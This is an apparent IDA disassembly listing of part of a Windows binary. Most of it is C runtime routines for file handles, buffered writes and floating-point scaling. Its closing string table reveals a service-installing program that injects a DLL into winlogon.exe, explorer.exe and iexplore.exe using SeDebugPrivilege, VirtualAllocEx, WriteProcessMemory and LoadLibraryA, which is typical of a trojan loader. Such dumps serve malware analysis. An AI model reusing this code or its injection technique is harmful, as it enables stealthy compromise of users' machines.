loc_44EF94:				; CODE XREF: sub_44EC71+12Cj
		mov	eax, edi


loc_44EF96:				; CODE XREF: sub_44EC71+37j
					; sub_44EC71+EAj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44EC71	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_44EFCC
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44EFDC


loc_44EFCC:				; CODE XREF: DMN1:0044EFAFj
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44EFFF
; ---------------------------------------------------------------------------


loc_44EFDC:				; CODE XREF: DMN1:0044EFCAj
		push	ebx
		call	sub_44D061
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_44EC71
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44D0C1
		pop	ecx
		mov	eax, esi


loc_44EFFF:				; CODE XREF: DMN1:0044EFDAj
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_44F181
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F031	proc near		; CODE XREF: sub_44DCC1+35Fp
					; sub_44F181+46p

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_449B11
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		push	1
		push	0
		push	ebx
		call	sub_44E1D1
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44F075
		push	2
		push	0
		push	ebx
		call	sub_44E1D1
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44F07D


loc_44F075:				; CODE XREF: sub_44F031+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_44F171
; ---------------------------------------------------------------------------


loc_44F07D:				; CODE XREF: sub_44F031+42j
		mov	eax, [ebp+arg_4]
		mov	esi, eax
		sub	esi, [ebp+var_8]
		test	esi, esi
		jle	loc_44F122
		lea	edx, [ebp+var_1010]
		mov	ecx, 1000h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		push	8000h
		push	ebx
		call	sub_44F5C1
		add	esp, 8
		mov	[ebp+var_10], eax


loc_44F0B3:				; CODE XREF: sub_44F031+E0j
		cmp	esi, 1000h
		jb	short loc_44F0C7
		mov	[ebp+var_1014],	1000h
		jmp	short loc_44F0CF
; ---------------------------------------------------------------------------


loc_44F0C7:				; CODE XREF: sub_44F031+88j
		mov	eax, esi
		mov	[ebp+var_1014],	eax


loc_44F0CF:				; CODE XREF: sub_44F031+94j
		mov	eax, [ebp+var_1014]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		push	ebx
		call	sub_44CA51
		add	esp, 0Ch
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44F109
		call	dword_411CE8
		cmp	eax, 5
		jnz	short loc_44F103
		call	sub_44A781
		mov	dword ptr [eax], 0Dh


loc_44F103:				; CODE XREF: sub_44F031+C5j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_44F113
; ---------------------------------------------------------------------------


loc_44F109:				; CODE XREF: sub_44F031+BAj
		mov	eax, esi
		sub	eax, edi
		mov	esi, eax
		test	eax, eax
		jg	short loc_44F0B3


loc_44F113:				; CODE XREF: sub_44F031+D6j
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44F5C1
		add	esp, 8
		jmp	short loc_44F15F
; ---------------------------------------------------------------------------


loc_44F122:				; CODE XREF: sub_44F031+56j
		test	esi, esi
		jge	short loc_44F15F
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_44E1D1
		add	esp, 0Ch
		push	ebx
		call	sub_44CF41
		pop	ecx
		push	eax
		call	dword_411E1C
		test	eax, eax
		setnz	al
		and	eax, 1
		dec	eax
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44F15F
		call	sub_44A781
		mov	dword ptr [eax], 0Dh


loc_44F15F:				; CODE XREF: sub_44F031+EFj
					; sub_44F031+F3j ...
		push	0
		mov	eax, [ebp+var_C]
		push	eax
		push	ebx
		call	sub_44E1D1
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_44F171:				; CODE XREF: sub_44F031+47j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44F031	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44F181	proc near		; CODE XREF: DMN1:0044F01Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_44F1AA
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44F1BA


loc_44F1AA:				; CODE XREF: sub_44F181+Cj
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44F1DA
; ---------------------------------------------------------------------------


loc_44F1BA:				; CODE XREF: sub_44F181+27j
		push	ebx
		call	sub_44D061
		pop	ecx
		mov	eax, [esp+8+arg_4]
		push	eax
		push	ebx
		call	sub_44F031
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_44D0C1
		pop	ecx
		mov	eax, esi


loc_44F1DA:				; CODE XREF: sub_44F181+37j
		pop	esi
		pop	ebx
		retn
sub_44F181	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F1E1	proc near		; CODE XREF: sub_44E0A1+EFp
					; sub_44E0A1+100p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		jmp	loc_44F29E
; ---------------------------------------------------------------------------


loc_44F1F5:				; CODE XREF: sub_44F1E1+C0j
		mov	eax, [esi+18h]
		cmp	eax, [esi+10h]
		ja	short loc_44F210
		push	esi
		call	sub_44B281
		pop	ecx
		test	eax, eax
		jge	short loc_44F210
		or	eax, 0FFFFFFFFh
		jmp	loc_44F2C0
; ---------------------------------------------------------------------------


loc_44F210:				; CODE XREF: sub_44F1E1+1Aj
					; sub_44F1E1+25j
		test	word ptr [esi],	400h
		jz	short loc_44F227
		push	0Ah
		push	ebx
		call	sub_44F6D1
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_44F22E
; ---------------------------------------------------------------------------


loc_44F227:				; CODE XREF: sub_44F1E1+34j
		mov	[ebp+var_C], 0


loc_44F22E:				; CODE XREF: sub_44F1E1+44j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_44F243
		mov	eax, [ebp+var_4]
		sub	eax, ebx
		inc	eax
		mov	[ebp+var_10], eax
		jmp	short loc_44F252
; ---------------------------------------------------------------------------


loc_44F243:				; CODE XREF: sub_44F1E1+55j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44F248:				; CODE XREF: sub_44F1E1+6Cj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44F248
		mov	[ebp+var_10], eax


loc_44F252:				; CODE XREF: sub_44F1E1+60j
		mov	edi, [ebp+var_10]
		mov	eax, [esi+18h]
		mov	edx, [esi+10h]
		sub	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], edi
		jnb	short loc_44F26F
		mov	[ebp+var_4], 0
		mov	edi, [ebp+var_8]


loc_44F26F:				; CODE XREF: sub_44F1E1+82j
		push	edi
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		add	ebx, edi
		lea	eax, [esi+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_4], 0
		jz	short loc_44F29E
		push	esi
		call	sub_44B081
		pop	ecx
		test	eax, eax
		jz	short loc_44F29E
		or	eax, 0FFFFFFFFh
		jmp	short loc_44F2C0
; ---------------------------------------------------------------------------


loc_44F29E:				; CODE XREF: sub_44F1E1+Fj
					; sub_44F1E1+ABj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_44F1F5
		test	word ptr [esi],	800h
		jz	short loc_44F2BE
		push	esi
		call	sub_44B081
		pop	ecx
		test	eax, eax
		jz	short loc_44F2BE
		or	eax, 0FFFFFFFFh
		jmp	short loc_44F2C0
; ---------------------------------------------------------------------------


loc_44F2BE:				; CODE XREF: sub_44F1E1+CBj
					; sub_44F1E1+D6j
		xor	eax, eax


loc_44F2C0:				; CODE XREF: sub_44F1E1+2Aj
					; sub_44F1E1+BBj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44F1E1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44F2D1	proc near		; CODE XREF: sub_44E6F1+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_4]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_44F327
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_44F313
		cmp	word ptr [ebx+4], 0
		jnz	short loc_44F313
		cmp	word ptr [ebx+2], 0
		jnz	short loc_44F313
		cmp	word ptr [ebx],	0
		jz	short loc_44F31A


loc_44F313:				; CODE XREF: sub_44F2D1+2Cj
					; sub_44F2D1+33j ...
		mov	edi, 2
		jmp	short loc_44F31F
; ---------------------------------------------------------------------------


loc_44F31A:				; CODE XREF: sub_44F2D1+40j
		mov	edi, 1


loc_44F31F:				; CODE XREF: sub_44F2D1+47j
		mov	ax, di
		movsx	eax, ax
		jmp	short loc_44F36B
; ---------------------------------------------------------------------------


loc_44F327:				; CODE XREF: sub_44F2D1+1Bj
		test	si, si
		jg	short loc_44F33B
		push	ebx
		call	sub_44F6F1
		pop	ecx
		mov	si, ax
		test	ax, ax
		jg	short loc_44F360


loc_44F33B:				; CODE XREF: sub_44F2D1+59j
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		or	eax, 3FE0h
		mov	[ebx+6], ax
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, si
		sub	ax, 3FEh
		mov	[edx], ax
		or	eax, 0FFFFFFFFh
		jmp	short loc_44F36B
; ---------------------------------------------------------------------------


loc_44F360:				; CODE XREF: sub_44F2D1+68j
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		xor	eax, eax


loc_44F36B:				; CODE XREF: sub_44F2D1+54j
					; sub_44F2D1+8Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44F2D1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F371	proc near		; CODE XREF: sub_44E711+Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_44F3C6
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_44F3AF
		cmp	word ptr [ebx+4], 0
		jnz	short loc_44F3AF
		cmp	word ptr [ebx+2], 0
		jnz	short loc_44F3AF
		cmp	word ptr [ebx],	0
		jz	short loc_44F3B6


loc_44F3AF:				; CODE XREF: sub_44F371+28j
					; sub_44F371+2Fj ...
		mov	edi, 2
		jmp	short loc_44F3BB
; ---------------------------------------------------------------------------


loc_44F3B6:				; CODE XREF: sub_44F371+3Cj
		mov	edi, 1


loc_44F3BB:				; CODE XREF: sub_44F371+43j
		mov	ax, di
		movsx	eax, ax
		jmp	loc_44F57B
; ---------------------------------------------------------------------------


loc_44F3C6:				; CODE XREF: sub_44F371+20j
		test	si, si
		jnz	short loc_44F3E1
		push	ebx
		call	sub_44F6F1
		pop	ecx
		mov	si, ax
		test	ax, ax
		jle	short loc_44F3E1
		xor	eax, eax
		jmp	loc_44F57B
; ---------------------------------------------------------------------------


loc_44F3E1:				; CODE XREF: sub_44F371+58j
					; sub_44F371+67j
		movsx	eax, si
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+arg_4], eax
		cmp	eax, 7FFh
		jl	short loc_44F423
		test	word ptr [ebx+6], 8000h
		jz	short loc_44F408
		fld	dbl_4119DC
		fchs
		fstp	[ebp+var_8]
		jmp	short loc_44F411
; ---------------------------------------------------------------------------


loc_44F408:				; CODE XREF: sub_44F371+88j
		fld	dbl_4119DC
		fstp	[ebp+var_8]


loc_44F411:				; CODE XREF: sub_44F371+95j
		mov	eax, [ebp+arg_0]
		fld	[ebp+var_8]
		fstp	qword ptr [eax]
		mov	eax, 1
		jmp	loc_44F57B
; ---------------------------------------------------------------------------


loc_44F423:				; CODE XREF: sub_44F371+80j
		cmp	[ebp+arg_4], 0
		jle	short loc_44F449
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		mov	edx, [ebp+arg_4]
		movsx	edx, dx
		shl	edx, 4
		or	eax, edx
		mov	[ebx+6], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_44F57B
; ---------------------------------------------------------------------------


loc_44F449:				; CODE XREF: sub_44F371+B6j
		mov	ax, [ebx+6]
		and	ax, 8000h
		mov	word ptr [ebp+var_8+6],	ax
		movzx	eax, word ptr [ebx+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	[ebx+6], ax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		cmp	eax, 0FFFFFFCCh
		jge	short loc_44F48F
		mov	ax, word ptr [ebp+var_8+6]
		mov	[ebx+6], ax
		mov	word ptr [ebx+4], 0
		mov	word ptr [ebx+2], 0
		mov	word ptr [ebx],	0
		xor	eax, eax
		jmp	loc_44F57B
; ---------------------------------------------------------------------------


loc_44F48F:				; CODE XREF: sub_44F371+FCj
		mov	eax, [ebp+arg_4]
		mov	word ptr [ebp+var_8+4],	ax
		jmp	short loc_44F4BA
; ---------------------------------------------------------------------------


loc_44F498:				; CODE XREF: sub_44F371+14Ej
		mov	ax, [ebx+2]
		mov	[ebx], ax
		mov	ax, [ebx+4]
		mov	[ebx+2], ax
		mov	ax, [ebx+6]
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		add	word ptr [ebp+var_8+4],	10h


loc_44F4BA:				; CODE XREF: sub_44F371+125j
		cmp	word ptr [ebp+var_8+4],	0FFF0h
		jle	short loc_44F498
		movsx	eax, word ptr [ebp+var_8+4]
		neg	eax
		mov	word ptr [ebp+var_8+4],	ax
		test	ax, ax
		jz	loc_44F570
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx]
		mov	ecx, eax
		sar	edx, cl
		mov	dword ptr [ebp+var_8], edx
		movzx	ecx, word ptr [ebx+2]
		mov	[ebp+var_C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_C]
		shl	eax, cl
		mov	edx, dword ptr [ebp+var_8]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+2]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_10], edx
		movzx	ecx, word ptr [ebx+4]
		mov	[ebp+var_14], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_14]
		shl	eax, cl
		mov	edx, [ebp+var_10]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+2], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+4]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_18], edx
		movzx	ecx, word ptr [ebx+6]
		mov	[ebp+var_1C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_1C]
		shl	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+4], ax
		movzx	eax, word ptr [ebx+6]
		movsx	ecx, word ptr [ebp+var_8+4]
		sar	eax, cl
		mov	[ebx+6], ax


loc_44F570:				; CODE XREF: sub_44F371+15Dj
		mov	ax, word ptr [ebp+var_8+6]
		or	[ebx+6], ax
		or	eax, 0FFFFFFFFh


loc_44F57B:				; CODE XREF: sub_44F371+50j
					; sub_44F371+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44F371	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F591	proc near		; CODE XREF: sub_44E791+409p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44F591	endp


; =============== S U B	R O U T	I N E =======================================



sub_44F5C1	proc near		; CODE XREF: sub_44F031+77p
					; sub_44F031+E7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		movzx	eax, byte ptr [edx+eax+4]
		mov	esi, eax
		and	esi, 80h
		cmp	[esp+8+arg_4], 8000h
		jnz	short loc_44F617
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		movzx	edx, byte ptr [eax]
		and	edx, 0FFFFFF7Fh
		mov	[eax], dl
		jmp	short loc_44F64E
; ---------------------------------------------------------------------------


loc_44F617:				; CODE XREF: sub_44F5C1+2Fj
		cmp	[esp+8+arg_4], 4000h
		jnz	short loc_44F63E
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	80h
		jmp	short loc_44F64E
; ---------------------------------------------------------------------------


loc_44F63E:				; CODE XREF: sub_44F5C1+5Ej
		call	sub_44A781
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44F661
; ---------------------------------------------------------------------------


loc_44F64E:				; CODE XREF: sub_44F5C1+54j
					; sub_44F5C1+7Bj
		test	esi, esi
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 4000h


loc_44F661:				; CODE XREF: sub_44F5C1+8Bj
		pop	esi
		pop	ebx
		retn
sub_44F5C1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		cmp	ebx, dword_413A88
		jnb	short loc_44F69A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44F6AA


loc_44F69A:				; CODE XREF: DMN1:0044F67Dj
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44F6CA
; ---------------------------------------------------------------------------


loc_44F6AA:				; CODE XREF: DMN1:0044F698j
		push	ebx
		call	sub_44D061
		pop	ecx
		mov	eax, [esp+10h]
		push	eax
		push	ebx
		call	sub_44F5C1
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_44D0C1
		pop	ecx
		mov	eax, esi


loc_44F6CA:				; CODE XREF: DMN1:0044F6A8j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44F6D1	proc near		; CODE XREF: sub_44F1E1+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		xor	edx, edx


loc_44F6DE:				; CODE XREF: sub_44F6D1+19j
		cmp	[ecx], bl
		jnz	short loc_44F6E4
		mov	edx, ecx


loc_44F6E4:				; CODE XREF: sub_44F6D1+Fj
		cmp	byte ptr [ecx],	0
		jz	short loc_44F6EC
		inc	ecx
		jmp	short loc_44F6DE
; ---------------------------------------------------------------------------


loc_44F6EC:				; CODE XREF: sub_44F6D1+16j
		mov	eax, edx
		pop	ebx
		retn
sub_44F6D1	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44F6F1	proc near		; CODE XREF: sub_44F2D1+5Cp
					; sub_44F371+5Bp

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ax, [ecx+6]
		mov	di, ax
		and	di, 8000h
		mov	bx, 1
		mov	ax, [ecx+6]
		and	ax, 0Fh
		mov	[ecx+6], ax
		test	ax, ax
		jnz	short loc_44F730
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44F730
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44F730
		cmp	word ptr [ecx],	0
		jz	loc_44F7EA


loc_44F730:				; CODE XREF: sub_44F6F1+25j
					; sub_44F6F1+2Cj ...
		jmp	short loc_44F752
; ---------------------------------------------------------------------------


loc_44F732:				; CODE XREF: sub_44F6F1+66j
		mov	ax, [ecx+4]
		mov	[ecx+6], ax
		mov	ax, [ecx+2]
		mov	[ecx+4], ax
		mov	ax, [ecx]
		mov	[ecx+2], ax
		mov	word ptr [ecx],	0
		sub	bx, 10h


loc_44F752:				; CODE XREF: sub_44F6F1:loc_44F730j
		cmp	word ptr [ecx+6], 0
		jz	short loc_44F732
		jmp	short loc_44F798
; ---------------------------------------------------------------------------


loc_44F75B:				; CODE XREF: sub_44F6F1+ACj
		movzx	eax, word ptr [ecx+6]
		add	eax, eax
		movzx	edx, word ptr [ecx+4]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+6], ax
		movzx	eax, word ptr [ecx+4]
		add	eax, eax
		movzx	edx, word ptr [ecx+2]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		movzx	eax, word ptr [ecx+2]
		add	eax, eax
		movzx	edx, word ptr [ecx]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		shl	word ptr [ecx],	1
		dec	bx


loc_44F798:				; CODE XREF: sub_44F6F1+68j
		cmp	word ptr [ecx+6], 10h
		jb	short loc_44F75B
		jmp	short loc_44F7DE
; ---------------------------------------------------------------------------


loc_44F7A1:				; CODE XREF: sub_44F6F1+F2j
		movzx	eax, word ptr [ecx]
		sar	eax, 1
		movzx	edx, word ptr [ecx+2]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx], ax
		movzx	eax, word ptr [ecx+2]
		sar	eax, 1
		movzx	edx, word ptr [ecx+4]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		movzx	eax, word ptr [ecx+4]
		sar	eax, 1
		movzx	edx, word ptr [ecx+6]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		shr	word ptr [ecx+6], 1
		inc	bx


loc_44F7DE:				; CODE XREF: sub_44F6F1+AEj
		cmp	word ptr [ecx+6], 20h
		jnb	short loc_44F7A1
		and	word ptr [ecx+6], 0Fh


loc_44F7EA:				; CODE XREF: sub_44F6F1+39j
		or	[ecx+6], di
		movsx	eax, bx
		pop	edi
		pop	ebx
		retn
sub_44F6F1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44F801	proc near		; CODE XREF: sub_44A871+13p
		jmp	dword_411DAC
sub_44F801	endp

; ---------------------------------------------------------------------------
		align 4
		dd 46h dup(0)
		dd 6E6F6400h, 0A2E65h
aNotDaemonize_0	db 'not daemonized...',0Ah,0
aInitializing_0	db 'initializing service startup sequence...',0Ah,0
aServiceInsta_0	db 'service installed ok...',0Ah,0
aInstallingSe_1	db 'installing service...',0Ah,0
aRegisteredSe_2	db 'registered service is not running, unrest.',0Ah,0
aStartingServ_0	db 'starting service...',0Ah,0
aI_0		db '%i',0Ah,0
aInstallingSe_2	db 'installing service, res=',0
aRegisteredSe_3	db 'registered service is not running.',0Ah,0
aRegisteredSe_4	db 'registered service is here...',0Ah,0
aDonTRegister_0	db 'DON',27h,'T register it',0Ah,0
aRegisterItAn_0	db 'register it and restart',0Ah,0
aNoRegistered_0	db 'no registered service, ',0
aWaitingCompl_0	db '*** waiting complete...',0Ah,0
aWaiting____0	db '*** waiting...',0Ah,0
aRemovingS_0	db 'removing: <%s>',0Ah,0
aInitializing_1	db 'initializing winsock library...',0Ah,0
aCopyingFaile_0	db 'copying failed %%-(',0Ah,0
aCreateproces_0	db 'CreateProcess() failed %%-(',0Ah,0
aCmdlineS_0	db 'cmdline: <%s>',0Ah,0
aCopying____0	db 'copying...',0Ah,0
aNewSOldSSelf_0	db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0
aWaiting10Sec_0	db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0
aShutdownmute_0	db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0
aUpdate_1	db '*update',0
aInjectionthr_0	db 'InjectionThread complete',0Ah,0
aDllStopped___0	db 'DLL stopped...',0Ah,0
aDying_0	db 'dying',0Ah,0
aWaitingForDl_0	db 'waiting for <DLL dies> event...',0Ah,0
aWinlogon_exe_0	db 'winlogon.exe',0
aExplorer_exe_0	db 'explorer.exe',0
aIexplore_exe_0	db 'iexplore.exe',0
aOldDllFoundW_0	db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
aTryingSWithS_0	db 'trying <%s> with <%s> failed',0Ah,0
aTryingSWithS_1	db 'trying <%s> with <%s>',0Ah,0
aDllInjected_0	db 'DLL injected!',0Ah,0
aThreadComple_0	db 'thread complete (%i).',0Ah,0
aThreadInject_0	db 'thread injected (%i).',0Ah,0
aProcessOpene_0	db 'process opened.',0Ah,0
aS_2		db '<%s>',0Ah,0
aWriteprocess_0	db 'WriteProcessMemory() ok',0Ah,0
aGetlasterror_1	db 'GetLastError',0
aExitthread_1	db 'ExitThread',0
aLoadlibrarya_0	db 'LoadLibraryA',0
aKernel32_dll_0	db 'kernel32.dll',0
aVirtualalloc_0	db 'VirtualAllocEx() ok',0Ah,0
aSedebugprivi_0	db 'SeDebugPrivilege',0
aDllNotExtrac_0	db 'DLL not extracted.',0Ah,0
aDllOkS_0	db 'DLL ok: <%s>',0Ah,0
aTryingDllS_0	db 'trying DLL: <%s>',0Ah,0
aDllFoundS_0	db ' DLL found: <%s>',0Ah,0
aCheckingDllS_0	db 'checking DLL: <%s>',0Ah,0
